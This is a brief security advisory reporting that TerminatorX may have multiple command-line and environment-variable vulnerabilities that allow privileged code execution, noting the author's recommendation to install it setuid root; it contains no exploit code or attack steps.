It has been reported that TerminatorX may be prone to multiple vulnerabilities when handling command-line and environment variable data. As a result, an attacker may be capable of exploiting the application in a variety of ways to execute arbitrary code with elevated privileges. It should be noted that TerminatorX is not installed setuid by default, however the author recommends that users make the application setuid root.
